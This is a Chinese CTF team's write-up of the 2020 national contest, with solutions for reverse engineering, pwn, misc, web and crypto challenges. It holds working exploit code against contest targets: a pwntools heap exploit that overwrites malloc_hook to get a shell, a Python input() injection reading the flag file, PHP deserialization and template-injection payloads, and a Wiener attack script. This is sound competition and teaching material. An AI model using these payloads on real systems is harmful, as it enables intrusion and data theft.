zoukankan      html  css  js  c++  java
  • 爆炒腰花-2020国赛WP

    心疼北邮第三第四的小可爱三秒
    全队的wp,web手不记得是WM原题,已经被我埋了

    逆向

    z3

    图片

    结合题目名称 和这一大坨方程式想到了Z3

    不多BB z3 一把梭

    val的值可以写个IDapython脚本提取出来

    from z3 import *
    s=Solver()
    a1=[Int('a1[%d]'%i) for i in range(42)]
    val=[20247,40182,36315,
    36518,26921,39185,16546,
    12094,25270,19330,18540,16386,
    21207,11759,10460,25613,21135,24891,18305,
    27415,12855,10899,24927,20670,22926,18006,
    23345,12602,12304,26622,19807,22747,14233,24736,
    10064,14169,
    35155,28962,33273,21796,35185,14877]
    s.add(val[0] == 34 * a1[3] + 12 * a1[0] + 53 * a1[1] + 6 * a1[2] + 58 * a1[4] + 36 * a1[5] + a1[6])
    s.add(val[1]== 27 * a1[4] + 73 * a1[3] + 12 * a1[2] + 83 * a1[0] + 85 * a1[1] + 96 * a1[5] + 52 * a1[6])
    s.add(val[2] == 24 * a1[2] + 78 * a1[0] + 53 * a1[1] + 36 * a1[3] + 86 * a1[4] + 25 * a1[5] + 46 * a1[6])
    s.add(val[3]== 78 * a1[1] + 39 * a1[0] + 52 * a1[2] + 9 * a1[3] + 62 * a1[4] + 37 * a1[5] + 84 * a1[6])
    s.add(val[4]== 48 * a1[4] + 14 * a1[2] + 23 * a1[0] + 6 * a1[1] + 74 * a1[3] + 12 * a1[5] + 83 * a1[6])
    s.add(val[5]== 15 * a1[5] + 48 * a1[4] + 92 * a1[2] + 85 * a1[1] + 27 * a1[0] + 42 * a1[3] + 72 * a1[6])
    s.add(val[6] == 26 * a1[5] + 67 * a1[3] + 6 * a1[1] + 4 * a1[0] + 3 * a1[2] + 68 * a1[6])
    s.add(val[7] == 34 * a1[10] + 12 * a1[7] + 53 * a1[8] + 6 * a1[9] + 58 * a1[11] + 36 * a1[12] + a1[13])
    s.add(val[8] == 27 * a1[11] + 73 * a1[10] + 12 * a1[9] + 83 * a1[7] + 85 * a1[8] + 96 * a1[12] + 52 * a1[13])
    s.add(val[9] == 24 * a1[9] + 78 * a1[7] + 53 * a1[8] + 36 * a1[10] + 86 * a1[11] + 25 * a1[12] + 46 * a1[13])
    s.add(val[10] == 78 * a1[8] + 39 * a1[7] + 52 * a1[9] + 9 * a1[10] + 62 * a1[11] + 37 * a1[12] + 84 * a1[13])
    s.add(val[11]== 48 * a1[11] + 14 * a1[9] + 23 * a1[7] + 6 * a1[8] + 74 * a1[10] + 12 * a1[12] + 83 * a1[13])
    s.add(val[12]== 15 * a1[12] + 48 * a1[11] + 92 * a1[9] + 85 * a1[8] + 27 * a1[7] + 42 * a1[10] + 72 * a1[13])
    s.add(val[13]== 26 * a1[12] + 67 * a1[10] + 6 * a1[8] + 4 * a1[7] + 3 * a1[9] + 68 * a1[13])
    s.add(val[14]== 34 * a1[17] + 12 * a1[14] + 53 * a1[15] + 6 * a1[16] + 58 * a1[18] + 36 * a1[19] + a1[20])
    s.add(val[15]== 27 * a1[18] + 73 * a1[17] + 12 * a1[16] + 83 * a1[14] + 85 * a1[15] + 96 * a1[19] + 52 * a1[20])
    s.add(val[16]== 24 * a1[16] + 78 * a1[14] + 53 * a1[15] + 36 * a1[17] + 86 * a1[18] + 25 * a1[19] + 46 * a1[20])
    s.add(val[17]== 78 * a1[15] + 39 * a1[14] + 52 * a1[16] + 9 * a1[17] + 62 * a1[18] + 37 * a1[19] + 84 * a1[20])
    s.add(val[18]== 48 * a1[18] + 14 * a1[16] + 23 * a1[14] + 6 * a1[15] + 74 * a1[17] + 12 * a1[19] + 83 * a1[20])
    s.add(val[19] == 15 * a1[19] + 48 * a1[18] + 92 * a1[16] + 85 * a1[15] + 27 * a1[14] + 42 * a1[17] + 72 * a1[20])
    s.add(val[20]== 26 * a1[19] + 67 * a1[17] + 6 * a1[15] + 4 * a1[14] + 3 * a1[16] + 68 * a1[20])
    s.add(val[21] == 34 * a1[24] + 12 * a1[21] + 53 * a1[22] + 6 * a1[23] + 58 * a1[25] + 36 * a1[26] + a1[27])
    s.add(val[22]== 27 * a1[25] + 73 * a1[24] + 12 * a1[23] + 83 * a1[21] + 85 * a1[22] + 96 * a1[26] + 52 * a1[27])
    s.add(val[23]== 24 * a1[23] + 78 * a1[21] + 53 * a1[22] + 36 * a1[24] + 86 * a1[25] + 25 * a1[26] + 46 * a1[27])
    s.add(val[24]== 78 * a1[22] + 39 * a1[21] + 52 * a1[23] + 9 * a1[24] + 62 * a1[25] + 37 * a1[26] + 84 * a1[27])
    s.add(val[25]== 48 * a1[25] + 14 * a1[23] + 23 * a1[21] + 6 * a1[22] + 74 * a1[24] + 12 * a1[26] + 83 * a1[27])
    s.add(val[26]== 15 * a1[26] + 48 * a1[25] + 92 * a1[23] + 85 * a1[22] + 27 * a1[21] + 42 * a1[24] + 72 * a1[27])
    s.add(val[27]== 26 * a1[26] + 67 * a1[24] + 6 * a1[22] + 4 * a1[21] + 3 * a1[23] + 68 * a1[27])
    s.add(val[28]== 34 * a1[31] + 12 * a1[28] + 53 * a1[29] + 6 * a1[30] + 58 * a1[32] + 36 * a1[33] + a1[34])
    s.add(val[29] == 27 * a1[32] + 73 * a1[31] + 12 * a1[30] + 83 * a1[28] + 85 * a1[29] + 96 * a1[33] + 52 * a1[34])
    s.add(val[30]== 24 * a1[30] + 78 * a1[28] + 53 * a1[29] + 36 * a1[31] + 86 * a1[32] + 25 * a1[33] + 46 * a1[34])
    s.add(val[31]== 78 * a1[29] + 39 * a1[28] + 52 * a1[30] + 9 * a1[31] + 62 * a1[32] + 37 * a1[33] + 84 * a1[34])
    s.add(val[32]== 48 * a1[32] + 14 * a1[30] + 23 * a1[28] + 6 * a1[29] + 74 * a1[31] + 12 * a1[33] + 83 * a1[34])
    s.add(val[33]== 15 * a1[33] + 48 * a1[32] + 92 * a1[30] + 85 * a1[29] + 27 * a1[28] + 42 * a1[31] + 72 * a1[34])
    s.add(val[34]== 26 * a1[33] + 67 * a1[31] + 6 * a1[29] + 4 * a1[28] + 3 * a1[30] + 68 * a1[34])
    s.add(val[35]== 34 * a1[38] + 12 * a1[35] + 53 * a1[36] + 6 * a1[37] + 58 * a1[39] + 36 * a1[40] + a1[41])
    s.add(val[36]== 27 * a1[39] + 73 * a1[38] + 12 * a1[37] + 83 * a1[35] + 85 * a1[36] + 96 * a1[40] + 52 * a1[41])
    s.add(val[37]== 24 * a1[37] + 78 * a1[35] + 53 * a1[36] + 36 * a1[38] + 86 * a1[39] + 25 * a1[40] + 46 * a1[41])
    s.add(val[38]== 78 * a1[36] + 39 * a1[35] + 52 * a1[37] + 9 * a1[38] + 62 * a1[39] + 37 * a1[40] + 84 * a1[41])
    s.add(val[39]== 48 * a1[39] + 14 * a1[37] + 23 * a1[35] + 6 * a1[36] + 74 * a1[38] + 12 * a1[40] + 83 * a1[41])
    s.add(val[40]== 15 * a1[40] + 48 * a1[39] + 92 * a1[37] + 85 * a1[36] + 27 * a1[35] + 42 * a1[38] + 72 * a1[41])
    s.add(val[41] == 26 * a1[40] + 67 * a1[38] + 6 * a1[36] + 4 * a1[35] + 3 * a1[37] + 68 * a1[41])
    print s.check()
    print(s.model())
    a1=[0]*42
    a1[14]=54
    a1[25]=57
    a1[0]=102
    a1[15]=51
    a1[37]=101
    a1[36]=102
    a1[7]=49
    a1[16]=98
    a1[23]=45
    a1[18]=45
    a1[30]=101
    a1[28]=45
    a1[2]=97
    a1[4]=123
    a1[3]=103
    a1[21]=49
    a1[24]=57
    a1[29]=54
    a1[17]=57
    a1[22]=56
    a1[31]=49
    a1[33]=99
    a1[38]=54
    a1[11]=52
    a1[26]=48
    a1[39]=52
    a1[8]=55
    a1[10]=100
    a1[40]=56
    a1[19]=52
    a1[12]=51
    a1[32]=52
    a1[1]=108
    a1[35]=97
    a1[5]=55
    a1[9]=49
    a1[41]=125
    a1[34]=50
    a1[27]=101
    a1[20]=101
    a1[13]=45
    a1[6]=101
    s=''
    for i in range(42):
        s+=chr(a1[i])
    print s
    

    hyperthreading

    图片

    IDA strings 定位到关键函数 发现creathread函数

    对于输入内容的加密内容应该在子线程中

    跳转到strataddress 发现代码从0x401151开始不对

    OD调试

    图片

    发现IDA分析错位

    图片

    存在反调试和花指令,去之

    图片

    其中有死循环反调试和花指令(0xeb)

    最后还原出来的加密逻辑是移位异或再加0x23

    写脚本

    #fromidaapiimport*
    #startaddr=0x402150
    #offset=42
    #a=[]
    #foriinrange(offset):
    #    a.append(Byte(startaddr+i))
    #print a 
    a=[221,91,158,29,32,158,144,145,144,144,
    145,146,222,139,17,209,30,158,139,
    81,17,80,81,139,
    158,93,93,17,139,144,18,
    145,80,18,210,145,146,30,
    158,144,210,159]
    print(len(a))
    s=''
    for j in range(42):    
        for i in range(0x20,0x7f):
            tmp=((((i>>2)^(i<<6))^0x23)+0x23)&0xff
            if (tmp==a[j]):
                s+=chr(i)
    print (s)
    

    pwn

    babyjsc:

    刚拿到题目啥也没看懂 好像是个JS解析,不懂

    找了server.py

    图片

    可以发现程序的交互部分是由server.py实现

    图片

    python2 input函数非常危险

    之前做过一个CTF就是拿这个出题的导致可以直接getshell

    具体可以参考这篇文章https://www.cnblogs.com/heycomputer/articles/10537633.html

    直接输入

    import('os').system('cat /home/ctf/flag')

    我估计这是个非预期 23333

    safebox

    图片

    典型的菜单堆

    图片

    最多0xf个堆块大小限制为0xfff

    可以看到存在off-by-one 漏洞

    可以通过off-by-one构造chunk overlapping 再申请一部分出来

    让main_arena的地址进入tcache链

    再修改低位字节爆破stdout

    最后再构造overlapping实现tcache dup

    from pwn import *
    from time import sleep
    context.log_level = 'debug'
    # p=process("./pwn")
    p = remote('101.200.53.148',34521)
    elf=ELF('./pwn')
    libc = ELF('./libc.2.23.so')
    def add(idx,size,content):
        p.recvuntil('>>>')
        p.sendline("1")
        p.recvuntil("idx:")
        p.sendline(str(idx))
        p.recvuntil("len:")
        p.sendline(str(size))
        p.recvuntil("content:")
        p.send(content)
    def delete(idx):
        p.recvuntil('>>>')
        p.sendline("2")
        p.recvuntil("idx:")
        p.sendline(str(idx))
    def get_shell():
        add(0,0x18,'aaaa')
        add(1,0x108,'bbbb')
        add(2,0x60,'cccc')
        add(3,0x60,'dddd')
        add(4,0xf8,'eeee')
        add(5,0x20,'ffff')
        delete(0)
        add(0,0x18,'a'*0x18+'xf1')
        delete(2)
        delete(3)
        delete(1)
        add(1,0x108,'aaaa')
        add(2,0x70,p16(0x2620-0x43))
        delete(1)
        add(1,0x108,'a'*0x108+'x71')
        add(3,0x60,'bbbb')
        add(6,0x60,'cccc')
        payload='a'*0x33+p64(0xfbad1800)+p64(0)*3+'x00'
        add(7,0x68,payload)#爆破libc 多试几次就行
        #pause()
        libc_base = u64(p.recvuntil('x7f')[-6:].ljust(8,'x00'))-0x3c5600
        print hex(libc_base)
      
        free_hook = libc_base + 0x3c67a8
        malloc_hook = libc_base+0x3c4b10
        onegadget=libc_base+0xf1207
        p.sendline("1")
        p.recvuntil("idx:")
        p.sendline(str(8))
        p.recvuntil("len:")
        p.sendline(str(0x50))
        p.recvuntil("content:")
        p.send('a')
        add(8,0x18,'aaaa')
    
        add(9,0x108,'bbbb')
        add(10,0x68,'cccc')
        add(11,0x68,'dddd')
        add(12,0x68,'eeee')
    
        delete(8)
        add(0,0x18,'a'*0x18+'xf1')
        delete(10)
        delete(11)
        delete(9)
        add(9,0x108,'bbbb')
        add(10,0x70,p64(malloc_hook-0x23))
        delete(9)
        add(9,0x108,'a'*0x108+'x71')
        add(11,0x68,'dddd')
        add(13,0x68,'dddd')
        add(14,0x60,'a'*0x13+p64(onegadget))#修改malloc_hook为one_gadget
        p.sendline("1")
        p.recvuntil("idx:")
        p.sendline(str(15))
        p.recvuntil("len:")
        p.send('aaaa')
        p.interactive()
    get_shell()
    

    MISC

    签到

    直接给了

    flag:flag{同舟共济扬帆起,乘风破浪万里航。}

    the_best_ctf_game

    图片

    直接在文件里能读出来

    flag: flag{65e02f26-0d6e-463f-bc63-2df733e47fbe}

    电脑被黑

    图片

    取证大师能直接恢复出flag.txt

    发现文件夹下demo是个加密程序,逆向一下

    图片

    编写逆向代码

    flie1=open("flag.txt","rb")
    flie2=open("fakeflag.txt","rb")
    v4 = 34 
    v5 = 0
    buff=flie1.read()
    for i in buff:
     c=(i^v4)-v5
     v4 = (v4+34)&0xff
     v5=(v5+2)&0xf
     print(chr(c),end="")
     
    

    flag: flag{e5d7c4ed-b8f6-4417-8317-b809fc26c047}

    WEB

    babyunserialize

    看了一眼源码,眼熟,想起来是前几天WM的原题,虽然当时没做出来,但是存了wp,稍微改一下

    <?php
    namespace DB{
        abstract class Cursor  implements IteratorAggregate {}
    }
    namespace DBSQL{
        class Mapper extends DBCursor{
            protected
                $props=["quotekey"=>"phpinfo"],
                $adhoc=["20"=>["expr"=>""]],
                $db;
            function offsetExists($offset){}
            function offsetGet($offset){}
            function offsetSet($offset, $value){}
            function offsetUnset($offset){}
            function getIterator(){}
            function __construct($val){
                $this->db = $val;
            }
        }
    }
    namespace CLI{
        class Agent {
            protected
                $server="";
            public $events;
            public function __construct(){
                $this->events=["disconnect"=>array(new DBSQLMapper(new DBSQLMapper("")),"find")];
                $this->server=&$this;
            }
        };
        class WS{}
    }
    namespace {
        echo urlencode(serialize(array(new CLIWS(),new CLIAgent())));
    }
    

    跑一下得出

    a%3A2%3A%7Bi%3A0%3BO%3A6%3A%22CLI%5CWS%22%3A0%3A%7B%7Di%3A1%3BO%3A9%3A%22CLI%5CAgent%22%3A2%3A%7Bs%3A9%3A%22%00%2A%00server%22%3Br%3A3%3Bs%3A6%3A%22events%22%3Ba%3A1%3A%7Bs%3A10%3A%22disconnect%22%3Ba%3A2%3A%7Bi%3A0%3BO%3A13%3A%22DB%5CSQL%5CMapper%22%3A3%3A%7Bs%3A8%3A%22%00%2A%00props%22%3Ba%3A1%3A%7Bs%3A8%3A%22quotekey%22%3Bs%3A7%3A%22phpinfo%22%3B%7Ds%3A8%3A%22%00%2A%00adhoc%22%3Ba%3A1%3A%7Bi%3A20%3Ba%3A1%3A%7Bs%3A4%3A%22expr%22%3Bs%3A0%3A%22%22%3B%7D%7Ds%3A5%3A%22%00%2A%00db%22%3BO%3A13%3A%22DB%5CSQL%5CMapper%22%3A3%3A%7Bs%3A8%3A%22%00%2A%00props%22%3Ba%3A1%3A%7Bs%3A8%3A%22quotekey%22%3Bs%3A7%3A%22phpinfo%22%3B%7Ds%3A8%3A%22%00%2A%00adhoc%22%3Ba%3A1%3A%7Bi%3A20%3Ba%3A1%3A%7Bs%3A4%3A%22expr%22%3Bs%3A0%3A%22%22%3B%7D%7Ds%3A5%3A%22%00%2A%00db%22%3Bs%3A0%3A%22%22%3B%7D%7Di%3A1%3Bs%3A4%3A%22find%22%3B%7D%7D%7D%7D
    

    a:2:{i:0;O:6:"CLIWS":0:{}i:1;O:9:"CLIAgent":2:{s:9:" * server";r:3;s:6:"events";a:1:{s:10:"disconnect";a:2:{i:0;O:13:"DBSQLMapper":3:{s:8:" * props";a:1:{s:8:"quotekey";s:7:"phpinfo";}s:8:" * adhoc";a:1:{i:20;a:1:{s:4:"expr";s:0:"";}}s:5:" * db";O:13:"DBSQLMapper":3:{s:8:" * props";a:1:{s:8:"quotekey";s:7:"phpinfo";}s:8:" * adhoc";a:1:{i:20;a:1:{s:4:"expr";s:0:"";}}s:5:" * db";s:0:"";}}i:1;s:4:"find";}}}}
    

    提交,得到phpinfo,搜一下,得到flag

    图片

    easyphp

    图片

    考察fork中断

    创建一个新的监听的时候会导致原来的进程中断出错,跳转至phpinfo页面,没想到直接就有flag了(没想到直接就在info里面,还以为要命令执行的说)

    easytrick

    见到有php的!=和!==,以及需要md5值相等,想到利用不同的类型获取两个相同的NAN值来获取相同的md5

     <?php
    class trick{
        public $trick1;
        public $trick2;
        public function __destruct(){
            $this->trick1 = (string)$this->trick1;
    		print_r($this->trick1);
    		print_r($this->trick2);
    		print_r(md5($this->trick2));
    		print_r(md5($this->trick2));
            if(strlen($this->trick1) > 5 || strlen($this->trick2) > 5){
                die("你太长了");
            }
            if($this->trick1 !== $this->trick2 && md5($this->trick1) === md5($this->trick2) && $this->trick1 != $this->trick2){
                echo'success';
            }
        }
    }
    highlight_file(__FILE__);
    echo 0/0;
    echo (string)[a];
    $a=new trick();
    $a->trick1=NAN;
    $a->trick2=0/0;
    $b=serialize($a);
    print_r($b);
    unserialize($b); 
    

    payload:
    O:5:"trick":2:{s:6:"trick1";d:NAN;s:6:"trick2";d:NAN;}

    receme

    参考2020年赛博杯的dangerous-function,本题一样过滤了大量字符串操作函数,选择imlpode进行拼接,修改一下执行命令的部分即可获取flag

    payload:

    {if:var_dump((((implode(array(fil,e_get,con,tents)))))(((implode(array(bas,e64,dec,ode))))(Li8uLi8uLi8uLi8uLi8uLi8uLi9mbGFn)))}e{else}a{end if}

    CRYPTO

    bd

    分析一下源码,d过小,想到wiener attack,先得到d,再通过

    m = pow(c,d,n)
    

    得到flag
    跑下脚本

    图片

    d=1485313191830359055093545745451584299495272920840463008756233
    
    # -*- coding: utf-8 -*-
    # Wiener Attack, used in big public key (or small private key).
    from gmpy2 import *
    # 展开为连分数
    def continuedfra(x, y):
    cF = []
    while y:
    cF += [x / y]
    x, y = y, x % y
    return cF
    def simplify(ctnf):
    numerator = 0
    denominator = 1
    for x in ctnf[::-1]:
    numerator, denominator = denominator, x * denominator + numerator
    return (numerator, denominator)
    # 连分数化简
    def calculatefrac(x, y):
    cF = continuedfra(x, y)
    cF = map(simplify, (cF[0:i] for i in range(1, len(cF))))
    return cF
    # 解韦达定理
    def solve_pq(a, b, c):
    par = isqrt(b * b - 4 * a * c)
    return (-b + par) / (2 * a), (-b - par) / (2 * a)
    def wienerattack(e, n):
    for (d, k) in calculatefrac(e, n):
    if k == 0:
    continue
    if (e * d - 1) % k != 0:
    continue
    phi = (e * d - 1) / k
    p, q = solve_pq(1, n - phi + 1, n)
    if p * q == n:
    return abs(int(p)), abs(int(q))
    print('not find!')
    n = 86966590627372918010571457840724456774194080910694231109811773050866217415975647358784246153710824794652840306389428729923771431340699346354646708396564203957270393882105042714920060055401541794748437242707186192941546185666953574082803056612193004258064074902605834799171191314001030749992715155125694272289
    e = 46867417013414476511855705167486515292101865210840925173161828985833867821644239088991107524584028941183216735115986313719966458608881689802377181633111389920813814350964315420422257050287517851213109465823444767895817372377616723406116946259672358254060231210263961445286931270444042869857616609048537240249
    c = 37625098109081701774571613785279343908814425141123915351527903477451570893536663171806089364574293449414561630485312247061686191366669404389142347972565020570877175992098033759403318443705791866939363061966538210758611679849037990315161035649389943256526167843576617469134413191950908582922902210791377220066
    p, q = wienerattack(e, n)
    print('[+]Found!', '
    ')
    print('  [-]p =', p)
    print('  [-]q =', q)
    print('  [-]n =', p * q)
    d = invert(e, (p-1)*(q-1))
    print('  [-]d =', d)
    # print('  [-]m is: ' + '{:x}'.format(pow(c, d, n)).decode('hex'), '
    ')
    print('[!]All Done!')
    m = pow(c,d,n)
    from Crypto.Util.number import long_to_bytes
    print(long_to_bytes(m))
    

    lsfr

    分析代码,发现让求mark,又通过前几位为固定的字符

    flag{
    

    想到B-M算法

    Berlekamp-Massey 算法(B-M 算法)用于构造一个最短的 LFSR 以满足给定的二进制输出序列。一方面可用于寻找级数尽可能小的 LFSR 来生成随机性大的输出序列,而另一方面可用于根据已知输出序列反推 LFSR。
    

    用在线工具
    图片

    解出mask

    图片

    因为mask的长度为100,去除最后一位,逆序转为10进制,就是flag

    图片

    flag{856137228707110492246853478448}

  • 相关阅读:
    [SpriteKit] 制作瓦片地图小游戏
    TouchID 指纹解锁
    iOS-启动动态页跳过设计思路
    iOS-高仿通讯录之商品索引排序搜索
    Python: PS 滤镜--马赛克
    Tensorflow学习笔记——占位符和feed_dict(二)
    Tensorflow学习笔记——张量、图、常量、变量(一)
    IDEA 单元测试
    sublime —— 强大的插件
    window环境下在anconda中安装opencv
  • 原文地址:https://www.cnblogs.com/p201821440039/p/13542994.html
Copyright © 2011-2022 走看看